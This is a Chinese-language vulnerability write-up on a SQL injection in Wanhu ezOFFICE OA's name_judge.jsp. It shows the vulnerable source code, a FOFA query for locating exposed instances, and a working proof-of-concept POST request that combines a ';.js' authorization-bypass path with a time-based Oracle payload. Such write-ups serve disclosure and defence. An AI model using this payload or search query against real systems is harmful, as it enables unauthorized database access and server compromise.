万户OA name_judge.jsp SQL注入漏洞


漏洞简介

万户OA ezoffice 是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。万户 ezOFFICE name_judge.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。

影响版本

老旧版本

fofa语法

app="ezOFFICE协同管理平台" || app="万户ezOFFICE协同管理平台" || app="万户网络-ezOFFICE"

漏洞分析

直接看name_judge.jsp文件里的业务实现逻辑吧,非常简单明了

String govFormName=request.getParameter("govFormName")==null?"":request.getParameter("govFormName").toString();
String formId=request.getParameter("formId")==null?"":request.getParameter("formId").toString();
String formType=request.getParameter("formType")==null?"":request.getParameter("formType").toString();

try{
        conn = dsb.getDataSource().getConnection();
        stmt = conn.createStatement();
        //String strsql="select WF_IMMOFORM_ID  from wf_immobilityform where immoForm_displayName= '"+govFormName+"' ";

        String strsql="select id  from GOV_CUSTOM_DOCUMNET where govFormType="+formType+" and govFormName= '"+govFormName+"' ";

        if(formId!=null&&!formId.equals("")){    
          //strsql+="  and  WF_IMMOFORM_ID<>"+formId;
           strsql+="  and  govFormId<>"+formId;
        }

        java.sql.ResultSet rs = stmt.executeQuery(strsql);

        if(rs.next()){
            out.print("0");

        }else{
            out.print("1");

        }

三个参数govFormName、formId和formType都是直接拼接进SQL语句中然后用executeQuery执行,所有参数都没有过滤或校验,从而造成SQL注入漏洞。

漏洞复现

权限绕过分析参考:万户 ezOFFICE ajax_checkUserNum.jsp SQL注入漏洞

POST /defaultroot/modules/govoffice/custom_documentmanager/name_judge.jsp;.js HTTP/1.1
Host: ezoffice.mrxn.net
Content-Type: application/x-www-form-urlencoded

formType=1+AND+1337=DBMS_PIPE.RECEIVE_MESSAGE('any',4)--&govFormName=1&formId=1

成功延时4秒

其他万户OA 相关漏洞
万户OA系列漏洞


手机扫码阅读

汉王e脸通综合管理平台 quertDgmOpenRecord.do SQL注入漏洞

金和OA DealXml.aspx XXE漏洞

评 论